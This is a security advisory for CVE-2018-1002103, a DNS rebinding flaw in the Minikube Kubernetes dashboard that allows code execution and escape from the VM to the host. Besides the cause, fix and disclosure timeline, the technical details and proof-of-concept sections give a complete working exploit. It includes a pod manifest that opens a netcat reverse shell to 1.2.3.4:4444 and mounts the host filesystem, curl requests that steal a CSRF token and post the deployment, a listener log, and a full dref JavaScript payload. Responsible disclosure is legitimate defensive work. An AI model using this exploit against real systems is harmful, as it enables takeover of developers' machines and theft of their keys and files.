Minikube RCE & VM Escape

The Kubernetes dashboard service on Minikube is vulnerable to DNS rebinding attacks that can lead to remote code execution on the host.

Product Minikube
Severity High
CVE Reference CVE-2018-1002103
Type Remote Code Execution

Description

Minikube is a popular option for testing and developing locally for Kubernetes, and is part of the larger Kubernetes project.

The Kubernetes dashboard service on Minikube is vulnerable to DNS rebinding attacks that can lead to remote code execution on the host operating system.

This issue would typically be exploited via a malicious web page, for example through a watering hole or phishing attack.

Impact

An attacker can obtain containerized remote code execution in the Minikube VM by posting a deployment to the Kubernetes dashboard. When using VirtualBox, VMWare Fusion or Xhyve, the attacker may also break out of the Minikube VM by mounting the host user's home directory

This attack can lead to persistent access to the host operating system.

Cause

Remote Code Execution

The Kubernetes dashboard is enabled by default on Minikube installations and is accessible on the Minikube VM on port 30000/TCP. The Minikube VM itself is provisioned on a host-only network, and as such is only intended to be accessed by the host.

A malicious web page may nonetheless interact with the dashboard through a DNS rebinding attack.

DNS rebinding allows a web page to bypass the Same-Origin Policy by dynamically manipulating the DNS records of a domain. For example, the domain attacker.com may initially map to an external IP address such as 1.2.3.4 to deliver a malicious JavaScript payload. The domain’s A record can then be remapped to an internal IP, such as 192.168.99.100. The JavaScript payload can then communicate with the internal IP without violating the Same-Origin Policy.

The Kubernetes dashboard service on a Minikube installation is vulnerable to DNS rebinding because:

  • the Minikube VM uses predictable IP addresses (for example 192.168.99.100 for VirtualBox or 192.168.64.1 for Hyperkit)
  • the service runs on a known port: 30000/TCP
  • the service does not use HTTPS
  • the service does not validate the HTTP Host header

VM Escape

The VirtualBox, VMWare Fusion and Xhyve drivers will mount the host user's home directory by default. An attacker may configure a deployment to mount the home directory from the Minikube VM into a container. This essentially allows the attacker to break out of the Minikube VM. The image below illustrates the chain of mounts on a MacOS host:

update
The attacker may then, for example, backdoor the user's .bash_profile, or retrieve private keys to gain access to other systems.

Interim Workaround

The issue affects versions of Minikube prior to 0.30.0. If running on an affected version, it is recommended to disable the Kubernetes dashboard service from Minikube:

$ minikube addons disable dashboard

Solution

The issue was fixed in release 0.30.0. It is recommended to upgrade.

The issue was remediated by:

  • exposing the service through kubectl proxy instead of a NodePort
  • validating the Host header from incoming HTTP requests matches the pattern 127.0.0.1:{port}
  • exposing the dashboard service on a random port

Technical Details

A malicious web page will start by triggering a DNS rebind against the Kubernetes dashboard to bypass the Same-Origin Policy. From then on, the page will be in a position to read responses from the dashboard.

The page can then issue a GET request to /api/v1/csrftoken/appdeploymentfromfile to obtain a valid CSRF token for a deployment from the dashboard. A curl request for obtaining a CSRF token is given below:

$ curl http://192.168.99.100:30000/api/v1/csrftoken/appdeploymentfromfile
{
  "token": "AQ_3pRIv6gjjoVkniBS9xK6tSqI:1538256679430"
}

The page can proceed to post an arbitrary deployment to the dashboard, using the above token to set the X-CSRF-TOKEN header. An attacker could, for example, create a deployment with a container that will connect a reverse shell back to the attacker. The attacker may also wish to mount the host user's home directory into the container, trivially breaking out of the container and hypervisor.

The deployment below will create a reverse shell back to an attacker at 1.2.3.4:4444 and mount the home directory of a MacOS user:

apiVersion: v1
kind: Pod
metadata:
  name: dns-rebind-rce-poc
spec:
  containers:
  - name: busybox
    image: busybox:1.29.2
    command: ["/bin/sh"]
    args: ["-c", "nc 1.2.3.4 4444 -e /bin/sh"]
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /Users/
      type: Directory

A curl request that would create this deployment is given below:

$ curl 'http://192.168.99.100:30000/api/v1/appdeploymentfromfile' -H 'X-CSRF-TOKEN: eT3xz2k_26fNCBzPpIZ1-A1s-gE:1538254867049' -H 'Content-Type: application/json;charset=utf-8'  --data '{"name":"","namespace":"default","content":"apiVersion: v1\nkind: Pod\nmetadata:\n  name: dns-rebind-rce-poc\nspec:\n  containers:\n  - name: busybox\n    image: busybox:1.29.2\n    command: [\"/bin/sh\"]\n    args: [\"-c\", \"nc 1.2.3.4 4444 -e /bin/sh\"]\n    volumeMounts:\n    - name: host\n      mountPath: /host\n  volumes:\n  - name: host\n    hostPath:\n      path: /\n      type: Directory\n","validate":true}'

As a result of the above request, the attacker will receive a reverse shell with access to the home directory:

~# nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [4.3.2.1] port 4444 [tcp/*] accepted (family 2, sport 55593)
ls -lh /host/Users/user/
total 124
drwxr-xr-x    1 1001     1001        1.8K Sep 29 14:19 .
drwxr-xr-x    1 1001     1001         160 Mar 30  2018 ..
drwx------    1 1001     1001          96 Aug 27 10:04 Applications
drwx------    1 1001     1001         128 Sep 24 17:45 Desktop
drwx------    1 1001     1001         160 Aug  8 18:29 Documents
drwx------    1 1001     1001        1.2K Sep 29 17:14 Downloads
drwx------    1 1001     1001        1.9K Jun 12 11:16 Library
drwx------    1 1001     1001          96 Mar 30  2018 Movies
drwx------    1 1001     1001         128 Apr  1 13:38 Music
drwx------    1 1001     1001         320 Sep  6 07:27 Pictures
drwxr-xr-x    1 1001     1001         544 Sep 29 12:54 Projects
drwxr-xr-x    1 1001     1001         128 Mar 30  2018 Public
drwxr-xr-x    1 1001     1001          96 Mar 30  2018 Scripts
drwxr-xr-x    1 1001     1001         128 May 27 21:46 VirtualBox VMs

Proof of Concept

This section provides an implementation of the attack using MWR's DNS rebinding exploitation framework dref.

To conduct the attack the docker-compose.yml should to be modified to expose 30000/TCP:

services:
  api:
    ...
    ports:
      - 0.0.0.0:80:80
      - 0.0.0.0:30000:30000

The dref-config.yml should also be modified to create a subdomain pointing to the custom Minikube payload:

targets:
  - target: "minikube"
    script: "minikube"

Finally, the custom payload should be stored in dref/scripts/src/payloads/minikube.js:

import NetMap from 'netmap.js'
import * as network from '../libs/network'
import Session from '../libs/session'

// hosts and ports to check for Kubernetes dashboard
const hosts = ['192.168.99.100']
const ports = [30000]

// paths for fetching CSRF token and POSTing the deployment
const tokenPath = '/api/v1/csrftoken/appdeploymentfromfile'
const deployPath = '/api/v1/appdeploymentfromfile'
// payload to deploy
const deployment = `apiVersion: v1
kind: Pod
metadata:
  name: dns-rebind-rce-poc
spec:
  containers:
  - name: busybox
    image: busybox:1.29.2
    command: ["/bin/sh"]
    args: ["-c", "nc 1.2.3.4 4444 -e /bin/sh"]
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
`

const session = new Session()
const netmap = new NetMap()

// this function runs first on the original page
// it'll scan hosts/ports and open an iFrame for the rebind attack
async function main () {
  netmap.tcpScan(hosts, ports).then(results => {
    for (let h of results.hosts) {
      for (let p of h.ports) {
        if (p.open) session.createRebindFrame(h.host, p.port)
      }
    }
  })
}

// this function funs in rebinding iframes
function rebind () {
  // after this, the Origin maps to the Kubernetes dashboard host:port
  session.triggerRebind().then(() => {
    network.get(session.baseURL + tokenPath, {
      successCb: (code, headers, body) => {
        const token = JSON.parse(body).token

        network.postJSON(session.baseURL + deployPath, {
          'name': '',
          'namespace': 'default',
          'validate': true,
          'content': deployment
        }, {
          headers: {
            'X-CSRF-TOKEN': token
          }
        })
      }
    })
  })
}

if (window.args && window.args._rebind) rebind()
else main()

A Minikube user visiting http://minikube.{dref_domain}.com will be exploited and a reverse shell with the host’s file system mounted will be given to the attacker on 1.2.3.4:4444.

Detailed Timeline

Date Summary
2018-09-29 Issue communicated to Kubernetes security contact
2018-10-02 Confirmation of receipt by Kubernetes
2018-10-04 Kubernetes advise that the release the following day will remediate the issue
2018-10-05 Minikube 0.30.0 released with remediation

Further Information